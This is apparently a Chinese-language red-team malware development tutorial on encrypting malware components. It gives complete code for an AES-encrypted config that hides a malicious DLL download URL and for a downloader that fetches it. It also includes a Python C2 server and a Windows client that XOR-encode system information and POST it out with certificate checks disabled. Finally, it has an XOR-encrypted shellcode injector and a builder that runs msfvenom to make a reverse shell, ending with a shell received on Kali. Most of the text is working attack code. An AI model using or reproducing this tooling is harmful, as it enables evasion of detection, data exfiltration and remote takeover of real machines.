前面主要是加密字符串信息,加密算法还可以加密shellcode、通信数据包、配置信息等
一、常用加密算法概述
加密配置信息、加密通信信道、加密窃取数据、混淆代码放置静态分析
总体来说就是加密shellcode、代码模块、配置信息、通信等
二、加密配置信息
设置一个场景,恶意dll文件,放在http://192.168.136.131:4455/dll.dll,exe通过配置文件下载
dll代码:
#include <windows.h>BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH:MessageBox(NULL,"Meow from evil.dll!","=^..^=",MB_OK);break;
case DLL_PROCESS_DETACH:break;
case DLL_THREAD_ATTACH:break;
case DLL_THREAD_DETACH:break;}
return TRUE;
}
编译
x86_64-w64-mingw32-g++ -shared -o dll.dll dll.c -fpermissive
配置文件信息
http://192.168.136.131:4445/evil.dll
使用AES-128加密配置文件
#include <windows.h>
#include <wininet.h>
#include <wincrypt.h>
#include <stdio.h>#define AES_BLOCK_SIZE 16
#define IN_CHUNK_SIZE (AES_BLOCK_SIZE * 10)
#define OUT_CHUNK_SIZE (IN_CHUNK_SIZE * 2)void encryptFile(const char* inputFile, const char* outputFile, const char* aesKey) {HCRYPTPROV hCryptProv = 0;HCRYPTKEY hKey = 0;HANDLE hInputFile = INVALID_HANDLE_VALUE;HANDLE hOutputFile = INVALID_HANDLE_VALUE;// Open input file for readinghInputFile = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hInputFile == INVALID_HANDLE_VALUE) {return;}// Check file sizeLARGE_INTEGER fileSize;
if (!GetFileSizeEx(hInputFile, &fileSize)) {CloseHandle(hInputFile);return;}// Encrypt only if file size is less than 128MB
if (fileSize.QuadPart > 128 * 1024 * 1024) {CloseHandle(hInputFile);return;}// Create output file for writinghOutputFile = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hOutputFile == INVALID_HANDLE_VALUE) {CloseHandle(hInputFile);return;}// Cryptographic service provider
if (!CryptAcquireContextA(&hCryptProv, NULL, "Microsoft Enhanced RSA and AES Cryptographic Provider", PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {CryptDestroyKey(hKey);CryptReleaseContext(hCryptProv, 0);}HCRYPTHASH hHash;
if (!CryptCreateHash(hCryptProv, CALG_SHA_256, 0, 0, &hHash)) {CryptDestroyKey(hKey);CryptReleaseContext(hCryptProv, 0);}if (!CryptHashData(hHash, (BYTE*)aesKey, strlen(aesKey), 0)) {CryptDestroyKey(hKey);CryptReleaseContext(hCryptProv, 0);}if (!CryptDeriveKey(hCryptProv, CALG_AES_128, hHash, 0, &hKey)) {CryptDestroyKey(hKey);CryptReleaseContext(hCryptProv, 0);}constsize_t chunk_size = OUT_CHUNK_SIZE;BYTE* chunk = (BYTE*)malloc(chunk_size);DWORD out_len = 0;BOOL isFinal = FALSE;DWORD readTotalSize = 0;BOOL bResult = FALSE;while (bResult = ReadFile(hInputFile, chunk, IN_CHUNK_SIZE, &out_len, NULL)) {if (0 == out_len) {break;}readTotalSize += out_len;if (readTotalSize >= fileSize.QuadPart) {isFinal = TRUE;}if (!CryptEncrypt(hKey, (HCRYPTHASH)NULL, isFinal, 0, chunk, &out_len, chunk_size)) {break;}DWORD written = 0;if (!WriteFile(hOutputFile, chunk, out_len, &written, NULL)) {break;}memset(chunk, 0, chunk_size);}if (hKey != 0) {CryptDestroyKey(hKey);}
if (hCryptProv != 0) {CryptReleaseContext(hCryptProv, 0);}
if (hInputFile != INVALID_HANDLE_VALUE) {CloseHandle(hInputFile);}
if (hOutputFile != INVALID_HANDLE_VALUE) {CloseHandle(hOutputFile);}free(chunk);
}int main() {
constchar *inputFile = "config.txt";
constchar *encryptedFile = "config.txt.aes";
constchar *encryptionKey = "ThisIsASecretKey";
// encrypt configuration file
encryptFile(inputFile, encryptedFile, encryptionKey);
return0;
}
编译
x86_64-w64-mingw32-g++ encrypt.c -o encrypt.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -Wint-to-pointer-cast -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lcrypt32
运行后看加密效果
使用的时候先解密再下载
#include <windows.h>
#include <wininet.h>
#include <wincrypt.h>
#include <stdio.h>#define AES_BLOCK_SIZE 16
#define IN_CHUNK_SIZE (AES_BLOCK_SIZE * 10)
#define OUT_CHUNK_SIZE (IN_CHUNK_SIZE * 2)void downloadFile(const char *url, const char *outputFile) {HINTERNET hSession, hUrl;DWORD bytesRead, bytesWritten;BYTE buffer[4096];// Initialize WinINethSession = InternetOpen((LPCSTR)"Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hSession) {printf("InternetOpen failed\n");}// Open URLhUrl = InternetOpenUrlA(hSession, (LPCSTR)url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (!hUrl) {InternetCloseHandle(hSession);printf("InternetOpenUrlA failed\n");}// Open output file for writingHANDLE hOutputFile = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hOutputFile == INVALID_HANDLE_VALUE) {InternetCloseHandle(hUrl);InternetCloseHandle(hSession);printf("failed to create output file\n");}// Read data from URL and write to the output file
while (InternetReadFile(hUrl, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {WriteFile(hOutputFile, buffer, bytesRead, &bytesWritten, NULL);}// Cleanup
CloseHandle(hOutputFile);
InternetCloseHandle(hUrl);
InternetCloseHandle(hSession);
}void decryptFile(const char* inputFile, const char* outputFile, const BYTE* aesKey) {HCRYPTPROV hCryptProv;HCRYPTKEY hKey;HANDLE hInputFile = INVALID_HANDLE_VALUE;HANDLE hOutputFile = INVALID_HANDLE_VALUE;DWORD len = strlen((constchar*)aesKey);DWORD key_size = len * sizeof(aesKey[0]);// Open input file for readinghInputFile = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hInputFile == INVALID_HANDLE_VALUE) {return;}// Create output file for writinghOutputFile = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hOutputFile == INVALID_HANDLE_VALUE) {return;}// Cryptographic service provider
if (!CryptAcquireContextA(&hCryptProv, NULL, "Microsoft Enhanced RSA and AES Cryptographic Provider", PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {CryptDestroyKey(hKey);CryptReleaseContext(hCryptProv, 0);}HCRYPTHASH hHash;
if (!CryptCreateHash(hCryptProv, CALG_SHA_256, 0, 0, &hHash)) {CryptDestroyKey(hKey);CryptReleaseContext(hCryptProv, 0);}BYTE utf8ByteArray[32];
strcpy((char*)utf8ByteArray, (constchar*)aesKey);if (!CryptHashData(hHash, utf8ByteArray, key_size, 0)) {CryptDestroyKey(hKey);CryptReleaseContext(hCryptProv, 0);return;}// HCRYPTKEY hKey;
if (!CryptDeriveKey(hCryptProv, CALG_AES_128, hHash, 0, &hKey)) {CryptDestroyKey(hKey);CryptReleaseContext(hCryptProv, 0);return;}constsize_t chunk_size = IN_CHUNK_SIZE;BYTE* chunk = (BYTE*)malloc(chunk_size);DWORD out_len = 0;BOOL isFinal = FALSE;DWORD readTotalSize = 0;BOOL bResult = FALSE;DWORD inputSize = GetFileSize(hInputFile, NULL);while (bResult = ReadFile(hInputFile, (LPVOID)chunk, IN_CHUNK_SIZE, &out_len, NULL)) {if (0 == out_len) {break;}readTotalSize += out_len;if (readTotalSize >= inputSize) {isFinal = TRUE;}if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, isFinal, 0, chunk, &out_len)) {CryptDestroyKey(hKey);CryptReleaseContext(hCryptProv, 0);break;}DWORD written = 0;if (!WriteFile(hOutputFile, chunk, out_len, &written, NULL)) {CloseHandle(hOutputFile);break;}memset(chunk, 0, chunk_size);}if (hKey != 0) {CryptDestroyKey(hKey);}
if (hCryptProv != 0) {CryptReleaseContext(hCryptProv, 0);}
if (hInputFile != INVALID_HANDLE_VALUE) {CloseHandle(hInputFile);}
if (hOutputFile != INVALID_HANDLE_VALUE) {CloseHandle(hOutputFile);}free(chunk);
}int main() {
constchar *encryptedFile = "config.txt.aes";
constchar *decryptedFile = "decrypted.txt";
constchar *encryptionKey = "ThisIsASecretKey";// Decrypt configuration file
decryptFile(encryptedFile, decryptedFile, (const BYTE*)encryptionKey);// Read the URL from the decrypted fileFILE *decryptedFilePtr = fopen(decryptedFile, "r");
if (!decryptedFilePtr) {printf("failed to open decrypted file\n");}char url[256];
fgets(url, sizeof(url), decryptedFilePtr);
fclose(decryptedFilePtr);// Remove newline character if present
size_t urlLength = strlen(url);
if (url[urlLength - 1] == '\n') {url[urlLength - 1] = '\0';}// Download the file using the URL
constchar *downloadedFile = "evil.dll";
printf("decrypted URL: %s\n", url);
downloadFile(url, downloadedFile);
printf("file downloaded from the URL.\n");return0;
}
编译
x86_64-w64-mingw32-g++ hack.c -o hack.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -Wint-to-pointer-cast -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lwininet -lcrypt32
运行后,下载成功
实际攻击中会更复杂,秘钥也是从url下载,url信息使用base64+sha256加密等等
三、通信加密
场景
在kali上使用server.py启动https服务,windows上的post加密信息,server.py解密后显示
通信使用https证书加密,数据使用XOR编码:
# python simple C2 server for malware sample
import http.server
import socketserver
import ssl
from urllib.parse import urlparse, parse_qsPORT = 4443
CERTFILE = "server.crt"
KEYFILE = "server.key"classMyHTTPRequestHandler(http.server.BaseHTTPRequestHandler):XOR_KEY = "k" # Define the same XOR key used in the clientdef xor(self, data, key):key = str(key)l = len(key)output_str = ""for i in range(len(data)):current = data[i]current_key = key[i % len(key)]ordd = lambda x: x ifisinstance(x, int) elseord(x)output_str += chr(ordd(current) ^ ord(current_key))return output_strdef do_POST(self):content_length = int(self.headers['Content-Length'])encrypted_data = self.rfile.read(content_length)# Decrypt the received data using single-byte XORdecrypted_data = self.xor_decrypt(encrypted_data)# Handle the decrypted data hereprint("decrypted data:")print(decrypted_data)# Send an HTTP OK responseself.send_response(200)self.send_header('Content-type', 'text/html')self.end_headers()self.wfile.write("HTTP OK".encode('utf-8'))def xor_decrypt(self, data):ciphertext = self.xor(data, self.XOR_KEY)return ciphertextdef run_https_server():httpd = socketserver.TCPServer(("0.0.0.0", PORT), MyHTTPRequestHandler)# Load SSL certificate and keyhttpd.socket = ssl.wrap_socket(httpd.socket, certfile=CERTFILE, keyfile=KEYFILE, server_side=True)print(f"server running on port {PORT}")httpd.serve_forever()if __name__ == "__main__":run_https_server()
开启https服务
python3 server.py
/home/kali/Desktop/MalDev/chapter11/02-malware-communication/server.py:52: DeprecationWarning: ssl.wrap_socket() is deprecated, use SSLContext.wrap_socket()httpd.socket = ssl.wrap_socket(httpd.socket, certfile=CERTFILE, keyfile=KEYFILE, server_side=True)
server running on port 4443
客户端代码
#include <windows.h>
#include <winhttp.h>
#include <stdio.h>
#include <stdbool.h>char xor_key[] = "k";bool encryptData(char* data, size_t dataSize) {
for (size_t i = 0; i < dataSize; ++i) {data[i] ^= xor_key[0]; // Perform XOR encryption}
returntrue;
}bool hack() {HINTERNET hSession = NULL, hConnect = NULL, hRequest = NULL;DWORD bytesRead;
char systemInfo[4096];// Get system information
snprintf(systemInfo, sizeof(systemInfo),"OS Version: %d.%d.%d\nScreen Width: %d\nScreen Height: %d\n",GetVersion() & 0xFF, (GetVersion() >> 8) & 0xFF, (GetVersion() >> 16) & 0xFF,GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN));// Encrypt system information
encryptData(systemInfo, strlen(systemInfo));hSession = WinHttpOpen(L"SystemInfoClient/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (hSession == NULL) {fprintf(stderr, "WinHttpOpen. error: %d has occurred.\n", GetLastError());returnfalse;}hConnect = WinHttpConnect(hSession, L"192.168.136.131", 4443, 0);
if (hConnect == NULL) {fprintf(stderr, "WinHttpConnect. error: %d has occurred.\n", GetLastError());WinHttpCloseHandle(hSession);returnfalse;}hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
if (hRequest == NULL) {fprintf(stderr, "WinHttpOpenRequest. error: %d has occurred.\n", GetLastError());WinHttpCloseHandle(hConnect);WinHttpCloseHandle(hSession);returnfalse;}DWORD dwFlags = SECURITY_FLAG_IGNORE_UNKNOWN_CA |SECURITY_FLAG_IGNORE_CERT_CN_INVALID |SECURITY_FLAG_IGNORE_CERT_DATE_INVALID;
WinHttpSetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags));if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, systemInfo, strlen(systemInfo), strlen(systemInfo), 0)) {fprintf(stderr, "WinHttpSendRequest. error %d has occurred.\n", GetLastError());WinHttpCloseHandle(hRequest);WinHttpCloseHandle(hConnect);WinHttpCloseHandle(hSession);returnfalse;}if (!WinHttpReceiveResponse(hRequest, NULL)) {fprintf(stderr, "WinHttpReceiveResponse. Error %d has occurred.\n", GetLastError());returnfalse;}WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);printf("system information sent successfully.\n");
returntrue;
}int main() {
hack();
return0;
}
编译
x86_64-w64-mingw32-g++ hack.c -o hack.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -Wint-to-pointer-cast -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lwinhttp
windows上运行
.\hack.exe
system information sent successfully.
kali上看到解密信息
四、载荷混淆加密
shellcode注入模板,XOR解密后通过PID注入shellcode
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>// Payload
unsignedchar encryptedPayload[] = { };
char decryptionKey[] = "";// Decryption
void decryptPayload(char * data, size_t dataLength, char * decryptionKey, size_t keyLength) {
int keyIndex = 0;
for (int dataIndex = 0; dataIndex < dataLength; dataIndex++) {if (keyIndex == keyLength - 1) keyIndex = 0;data[dataIndex] = data[dataIndex] ^ decryptionKey[keyIndex];keyIndex++;}
}int main(int argc, char* argv[]) {HANDLE processHandle; // Process handleHANDLE remoteThread; // Remote threadPVOID remoteBuffer; // Remote buffer// Parse process ID
printf("PID: %i", atoi(argv[1]));processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));// Decrypt payload
decryptPayload((char *)encryptedPayload, sizeof(encryptedPayload), decryptionKey, sizeof(decryptionKey));// Allocate memory buffer for remote processremoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof(encryptedPayload), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);// "Copy" data between processes
WriteProcessMemory(processHandle, remoteBuffer, encryptedPayload, sizeof(encryptedPayload), NULL);// Our process starts a new threadremoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(processHandle);
return0;
}
上面是模板,使用py代码生成shellcode去填写这个模板
# payload encryption functions
import argparse
import subprocess
import sys
import random
import os
import hashlib
import stringclassColors:HEADER = '\033[95m'BLUE = '\033[94m'GREEN = '\033[92m'YELLOW = '\033[93m'RED = '\033[91m'PURPLE = '\033[95m'ENDC = '\033[0m'BOLD = '\033[1m'UNDERLINE = '\033[4m'def random_key():length = random.randint(16, 32)return''.join(random.choice(string.ascii_letters) for i in range(length))def xor(data, key):key = str(key)l = len(key)output_str = ""for i in range(len(data)):current = data[i]current_key = key[i % len(key)]ordd = lambda x: x if isinstance(x, int) else ord(x)output_str += chr(ordd(current) ^ ord(current_key))return output_strdef xor_encrypt(data, key):ciphertext = xor(data, key)ciphertext = '{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };'return ciphertext, keydef generate_payload(host, port):print (Colors.BLUE + "generate reverse shell payload..." + Colors.ENDC)msfv = "msfvenom -p windows/x64/shell_reverse_tcp"msfv += " LHOST=" + hostmsfv += " LPORT=" + portmsfv += " -f raw"msfv += " -o /tmp/hack.bin"print (Colors.YELLOW + msfv + Colors.ENDC)try:p = subprocess.Popen(msfv.split(), stdout = subprocess.PIPE)p.wait()print (Colors.GREEN + "reverse shell payload successfully generated :)" + Colors.ENDC)except Exception as e:print (Colors.RED + "generate payload failed :(" + Colors.ENDC)sys.exit()def run(host, port):print (Colors.BLUE + "run..." + Colors.ENDC)generate_payload(host, port)print (Colors.BLUE + "read payload..." + Colors.ENDC)plaintext = open("/tmp/hack.bin", "rb").read()print (Colors.BLUE + "build..." + Colors.ENDC)print (Colors.BLUE + "encrypt..." + Colors.ENDC)ciphertext, payload_key = xor_encrypt(plaintext, random_key())tmp = open("temp.c", "rt")data = tmp.read()data = data.replace('unsigned char encryptedPayload[] = { };', 'unsigned char encryptedPayload[] = ' + ciphertext)data = data.replace('char decryptionKey[] = "";', 'char decryptionKey[] = "' + payload_key + '";')tmp.close()tmp = open("temp-enc.c", "w+")tmp.write(data)tmp.close()print (Colors.GREEN + "successfully encrypt template file :)" + Colors.ENDC)print (Colors.BLUE + "compiling..." + Colors.ENDC)try:cmd = "x86_64-w64-mingw32-g++ -O2 temp-enc.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive >/dev/null 2>&1"os.system(cmd)except:print (Colors.RED + "error compiling template :(" + Colors.ENDC)sys.exit()else:print (Colors.YELLOW + cmd + Colors.ENDC)print (Colors.GREEN + "successfully compiled :)" + Colors.ENDC)if __name__ == "__main__":parser = argparse.ArgumentParser()parser.add_argument('-l','--lhost', required = True, help = "local IP")parser.add_argument('-p','--lport', required = True, help = "local port", default = '4444')args = vars(parser.parse_args())host, port = args['lhost'], args['lport']run(host, port)
使用msfvenom生成shellcode,填写模板,编译生成exe
python3 encrypt.py -l 192.168.136.131 -p 4445
windows上运行生成的exe,代码注入指定进程
kali上获得shell
原创 玄鹄安全 高级红队专家